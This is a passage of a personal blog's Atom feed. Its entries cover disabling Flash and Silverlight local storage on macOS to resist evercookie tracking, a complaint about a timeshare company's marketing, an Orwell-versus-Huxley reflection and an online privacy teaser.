<li><em>/Users/&lt;username&gt;/Library/Preferences/Macromedia/Flash Player/#SharedObjects/&lt;8 random alphanumeric characters&gt;<br /></em></li> 
<li><em>/Users/&lt;username&gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/</em></li> 
<li><em>/Users/&lt;username&gt;/Library/Application Support/Microsoft/Silverlight/is/&lt;8.3 random alphanumeric&gt;/&lt;8.3 random alphanumeric&gt;/1/</em><br /></li> 
</ol> 
<p>The first is where <strong>Adobe Flash LSOs are stored</strong>, the second is where <strong>site-specific Flash configurations are stored</strong> and the final is where <strong>Microsoft Silverlight LSOs are stored</strong>. Adobe LSO's are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat &amp; .txt files.<br /></p> 
<p>At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the &lt;random dirs&gt; e.g. rm -rf <em>/Users/&lt;username&gt;/Library/Application Support/Microsoft/Silverlight/is/*</em>. <strong>However, this will not prevent future LSOs from being set</strong>. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn't good enough.</p>Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by 
removing all permissions, but that causes undefined behaviour including 
Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn't for Flash. <strong>Flash happily ignores the permissions and just overwrites the file</strong> (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they're available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam's code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.<br /> 
<p>I eventually decided <strong>using the programs' own configuration options was probably the best way</strong>. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the <a href="http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager03.html" title="Adobe Settings Manager">settings manager</a> to modify the file <em>/Users/&lt;username&gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol</em> By flipping the second byte after the &quot;<em>allowThirdPartyLSO</em>&quot; keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in <em>/Users/&lt;username&gt;/Library/Application Support/Microsoft/Silverlight/is/&lt;random 8.3&gt;/&lt;random 8.3&gt;/1/disabled.dat</em> . Setting both of these permanently, and more robustly, disabled LSOs for both system.</p> 
<p>However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won't allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in <em>/Users/&lt;username&gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#&lt;domain.name&gt;/settings.sol</em> in the second byte after the &quot;allow&quot; keyword.&#160; <strong>This certainly provides some useful info for forensic investigators</strong>: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can't clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight's file needs to be placed in the 
unique random directory structure that's created, which means a unique 
identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.<br /></p> 
<p>In short, the article above describes the best way to permanently disable LSO storage in Flash &amp; Silverlight, and what not to try. The end result should be, that the evercookie won't be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn't appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/954-Why-I-think-the-Quality-Vacation-Club-is-a-Dubious-Organisation.html" rel="alternate" title="Why I think the Quality Vacation Club is a Dubious Organisation" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2008-11-20T02:06:48Z</published>
        <updated>2010-10-25T11:46:01Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=954</wfw:comment>
    
        <slash:comments>52</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=954</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/6-Politics" label="Politics" term="Politics" />
    
        <id>http://www.singe.za.net/blog/archives/954-guid.html</id>
        <title type="html">Why I think the Quality Vacation Club is a Dubious Organisation</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p> <a href="http://donnedwards.openaccess.co.za/">Donn</a> is <a href="http://donnedwards.openaccess.co.za/search/label/Court%20Case">being bullied</a> by <a href="http://www.qvc.co.za/">QVC</a> for their Carlswald based marketing. He is being sued for defamation. Now I'm no lawyer, but I'm sure truth is a defence to defamation, as is it being in the public interest. If someone asked me whether to buy services from QVC, I would strongly recommend against it for the below reasons based on my experiences (and reiterated by a wealth of negative complaints on <a href="http://www.hellopeter.com/comp_comment.asp?cid=708056&amp;page=2">hellopeter</a>, even with them diluted through their user of different company names, and several blogs).</p>
<p>P.S. The exact link between QVC and the marketing front is unclear, but based on their (now removed) documentation sent to Donn, and the information from commentators below, there definitely seems to be one. Given the years of bad press, QVC certainly can't claim they didn't know/endorse this. Either way, make up your own mind, don't take my stuff as gospel.<br /></p> <ol>
<li>They misrepresent themselves. They tell you that you have won a car. When I specifically asked Anna if this had anything to do with time-shares, she said &quot;no&quot;. I was lied to.</li>
<li>It is so unlikely that you will win the car that the claim that, you have already won it, is misleading. Your chances are likely worse than the 1 in 15 Devine informed me of. Their business model could not survive if they had to give away a car to every 15 people. (According to <a href="http://1.bp.blogspot.com/_vCXBX4q7xEo/SR2b4fhA3JI/AAAAAAAABIg/g3tvz1XeHHI/s1600-h/AnnexureG-01.jpg">their own calculations</a>, they make an average of R54k per 59 people. Giving away <a href="http://www.chevrolet.co.za/content_data/LAAM/ZA/en/GBPZA/001/models/1A/prices.html">a R68k car</a> per 15 would put them at a loss of R213k before <a href="http://ourwinners.co.za/">other prizes</a> and operating costs are taking into account.)</li>
<li>They outright lied as to how they got my details. Devine told me it was a competition I entered 'sometime'. I don't enter these sorts of competitions, and given he didn't have my surname, it is likely I didn't complete an entry. I also never give competitions in general nor QVC in particular permission to phone me.</li>
<li>They keep changing their front company name (see the list below), nearly every company in the world tries to add value to their brand, identified by their name. Constantly changing your name, on the surface, makes it look as though you are avoiding the negative value attached, and it certainly helps to dilute their hellopeter scores.</li>
<li>They ask you to bring a partner for what appear to be mischievous reasons. A close personal friend (who shall not be named due to fear of intimidatory litigation) who attended one of QVC's presentations said he and an older man and his wife were belittled in front of their wives for not being able to afford a break for the family. They will likely counter that they ask you to bring your partner to help drive the other car if you win. However, when I asked to bring a male friend of mine, Devine got insistent that it be my wife.</li>
<li>Devine asked me how my surname was pronounced as he was unsure of how to pronounce it. The implication was that he had my surname. Given my surname is very pronounceable, it was clear he was trying to elicit this information by false pretences.</li>
</ol> 
<p>That's all I have, as I didn't go to their presentation thanks to the information provided to me by people such as Donn and numerous other sources (including the press). Their information allowed me to make an informed decision, and have QVC's untruths shown up as such. Disseminating this is in the public interest. At the very least it will save some people a potential waste of their time (as many of the hellopeter comments are thankful for), and at best it will force QVC to engage in honest and transparent marketing.</p>
<p>As an aside, and to help Donn's case, here are their hello peter stats per 'front' company:</p>
<ul>
<li><a href="http://www.hellopeter.com/comp_comment.asp?cid=708056">Quality Vacation Club</a> - Complaints 99 Resolved 23</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=700341">Prestige Business Solutions</a> - Complaints 32 Resolved 3</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=709428">Unique Connections</a> - Complaints 12 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=712308">World Connect</a> / <a href="http://www.hellopeter.com/comp_comment2.asp?cid=713687">VIP</a> / <a href="http://www.hellopeter.com/comp_comment2.asp?cid=713506">VIP World Connect</a> - Complaints 12 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment.asp?cid=708056">Prime Vision</a> - Complaints 10 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=698960">Media Magic</a> - Complaints 9 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=699560">Mega Communications</a> - Complaints 9 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=706909">Ezweni Communications</a> - Complaints 3 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=712522">Dynamic Communication</a> - Complaints 4 Resolved 0 (including <a href="http://www.hellopeter.com/the_comment.asp?recid=210796">one</a> mislabelled under RCS)</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=709417">Real Communications</a> / <a href="http://www.hellopeter.com/comp_comment2.asp?cid=713769">Real Communication</a> - Complaints 1 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=709028">Ecoworld</a> - Complaints 1 Resolved 0</li>
<li><a href="http://www.hellopeter.com/comp_comment2.asp?cid=710571">Market Matrix</a> - Complaints 1 Resolved 0</li>
</ul>
<p>Total 184 Complaints and 26 Resolutions in the last 12 months! That's an average of 15 complaints a month (there's that number 15 again) for the company names I've manager to track down.</p>
<p>P.S. This is like tracking a botnet :)</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1013-Orwell-vs-Huxley,-Amusing-Ourselves-to-Death.html" rel="alternate" title="Orwell vs Huxley, Amusing Ourselves to Death" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-10-11T11:18:09Z</published>
        <updated>2010-10-14T19:40:27Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1013</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1013</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/6-Politics" label="Politics" term="Politics" />
    
        <id>http://www.singe.za.net/blog/archives/1013-guid.html</id>
        <title type="html">Orwell vs Huxley, Amusing Ourselves to Death</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                In his <a title="ZaCon Information Security for the Rest of Us" href="http://zacon.org.za/">ZaCon</a> talk, <a href="http://thinkst.com/">Haroon Meer</a> worked in a <a href="http://www.acceleratingfuture.com/michael/blog/2010/07/amusing-ourselves-to-death/">fascinating comparison</a>, by Michael Anissimov, between the fears that drove George Orwell when writing <em>1984</em>, and those that drove Aldous Huxley when writing <em>Brave New World</em>. <p>In summary; Orwell feared censorship and centralised control of information, while Huxley feared so much information that people wouldn't engage in what really mattered. In a South Africa with proposed legislation to allow the government to declare some information <a href="http://www.info.gov.za/view/DownloadFileAction?id=118894">so secret</a> that it cannot be covered by the media (even if it meets the criteria of in the public interest), proposals to <a title="Internet Porn Bill" href="http://www.jasa.za.net/download/pl-2010%20Internet%20Porn%20Bill.pdf">start censoring parts of the internet</a> and a <a href="http://www.timeslive.co.za/local/article577048.ece/ANCs-media-tribunal-plan">media tribunal</a> to circumvent the existing ombudsman, it's easy to think Orwell is right. In many ways he is, and provides a haunting view of the dystopia this could become. However, there's no dichotomy here; Huxley's view is an equally important reminder of what we should do with the freedoms we have.</p> 
<p>Personally, I find I could spend a whole day on Twitter/Facebook/IRC etc. I don't believe just using those technologies is a waste of time, in-fact I believe they can provide many benefits. However, it is easy to get trapped into constantly checking them and the inevitable meaningless interactions this leads to. Of course not every minute of the day can be spent in a productive rapture, but I wonder how much more we could achieve if we used them to better our collaboration as much as we better our cognitive load shedding. A potent reminder that freedom is worth nothing if not used.</p>
<p>What's more, from a privacy perspective; while it's right to worry about oppressive regimes and creepy attempts at implementing the panopticon (Orwell), it's as right, if not more pertinent, to worry about the privacy invasion from the tools and companies we love (Gmail, Facebook, Twitter etc.).</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1012-Online-Privacy,-a-teaser.html" rel="alternate" title="Online Privacy, a teaser" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-10-10T20:58:02Z</published>
        <updated>2010-10-11T19:03:08Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1012</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1012</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1012-guid.html</id>
        <title type="html">Online Privacy, a teaser</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p><em>I'll be speaking at IS' <a href="http://www.internetix2010.co.za/">Internetix 2010</a> conference and this was originally posted <a href="http://blog.internetix2010.co.za/2010/10/online-privacy-the-next-battleground/">there</a>. I was asked to put a blog post together as a teaser for my talk.</em></p> 
<p>Privacy is dead, or so the common wisdom says. But that can't be true. <a href="http://plato.stanford.edu/entries/privacy/">Centuries of philosophy</a> tell us that it's vital for our development and existence as human beings. As a trite example, try imagine having a truly intimate conversation with your partner while knowing someone else was listening. But that's not what I want to talk about here. If you want to have that conversation, start with <a href="http://www.nnis.se/dokument/I_have_got_nothing_to_hide_and_other_misunderstandings_of_privacy_-_George_Washshington_University_Law_School.pdf" title="&quot;I've got nothing to hide&quot; and other misunderstandings of Privacy">this paper</a>. <br /></p> What I do want to talk about is how much privacy invasion we allow in our daily online activities. But first let's talk about Google. Google is a hugely successful corporation. What's more, people *think* it is a hugely successful corporation, and so attempt to copy their methods and business models. A quick look on Amazon for business books about Google shows 1660 books, while a search for the same on Yahoo shows 635. If that's not enough for you, then try and imagine another way of monetising online content other than through advertising (unless you're Rupert Murdoch). Google is so exemplary of the online business model, that the next best example, Facebook, provides little meaningful differentiation when it comes to privacy invasion. So what is this miraculous, often copied, business model; wholesale personal data collection, correlation &amp; aggregation used to better target ads.<br /><br />You don't have to have thought very hard to have realised by now that Google's services aren't free. Sure, they don't cost you money, but Google needs to make money. They do that by collecting data about you, and using it to better target advertising at you. This doesn't worry most people, as long as that data isn't handed over to <a title="Total Information Awareness" href="https://secure.wikimedia.org/wikipedia/en/wiki/Total_Information_Awareness">creepy government agencies</a> or <a href="http://fugitivus.wordpress.com/2010/02/11/fuck-you-google/">personal stalkers</a> or allowed to be <a href="http://news.cnet.com/8301-30684_3-20016451-265.html">individually perused by Google employees</a>. While all of those things are possible, and warrant enough worry in themselves, the truth is you don't really know what data is being collected, where it's being exposed, in what form and to who. Let's take <a href="http://www.acxiom.com/">Axciom</a>, a company who's, until recently, sole purpose was to buy data about people and sell it back to marketers. How much do they know about you, who are they selling it to and with what controls?<br /><br />So how does the average website leverage this world of advertising-based monetary rewards? They just include a few pieces of code into their website. This code can do all sort of things, from tracking you around the web to build a behavioural profile, interrogating your browser and computer for information, or just keeping a record of who and where you are. The problem is that sliding in these third party web-sources is easy to do, and there are many rewards to be had, both monetary and functional. The former is the primary driver, the filthy lucre of ad-click monetisation, while the latter gives you all sorts of ways to increase the loot (think analytics). Let's take an example site: <a href="http://memburn.com/">memeburn.com</a>. I've chosen this at random, not to single them out, because everyone is doing it. To view the kif content at memeburn, your browser only needs to communicate to the http://memburn.com/ webserver. However, when we hit the front page, before loading anything fancy like JavaScript, content is pulled from two other domains: afrigator.com (from the unsubtly named /track/ directory) and myscoop.co.za. After loading JavaScript, content is pulled from 34 domains in total (6 appear to belong to memeburn, 8 belong to Google, 6 to Facebook and 6 to Twitter with 10 others distributed among others). By way of comparison, a load of techcrunch.com hits 39 domains, this certainly isn't something memeburn only is engaging in. By just visiting the site, before we've even moved the mouse or read an article your browser has contacted, been poked, prodded and queried by dozens of services, none of which actually present you with the content you're there for, and with whom, for the most part, neither you nor the site have any contractual relationship with. Sure, they're privacy policies will state that they only give your information to business partners, aka anyone who will give them money for it. As we move up the stack and start using the web applications, the number of services and amount of information collected only increases.&#160; Come to the talk to see how something as simple as your search data speaks volumes about you. Now multiply that by every page you visit, every day you use the internet, over a lifetime; that's a lot of data. If you don't think it says anything about you, come to the talk to have your opinion changed.<br /><br />The big problem is with finding solutions. For you to individually protect yourself against the multiple methods of data collection is currently a huge burden. If you ever want to see just how big, come and check out my browser setup. The balance needs to be tipped, with companies bearing more of the costs of privacy, instead of it all resting on the consumer. In the meantime, if you're a web developer, start thinking about whether you really need to hand so much of your users' data over to third parties. At the very least, it will result in faster page loads. In the meantime, while us consumers wait for privacy legislation to catch up, there is some help in the form of browser add-ons. For example, AdBlock (<a href="https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom">Chrome</a>, <a href="https://addons.mozilla.org/firefox/addon/1865">Firefox</a>) will cut out a lot of the third parties, and not impact your ability to see the content (i.e. no cost to you), in fact things look cleaner and load faster. This is the only way we can vote with our money and attempt to force a change in just how much privacy invasion needs to occur for something as uninteresting to the worlds problems as targeting advertising. 
            </div>
        </content>
        
    </entry>

</feed>
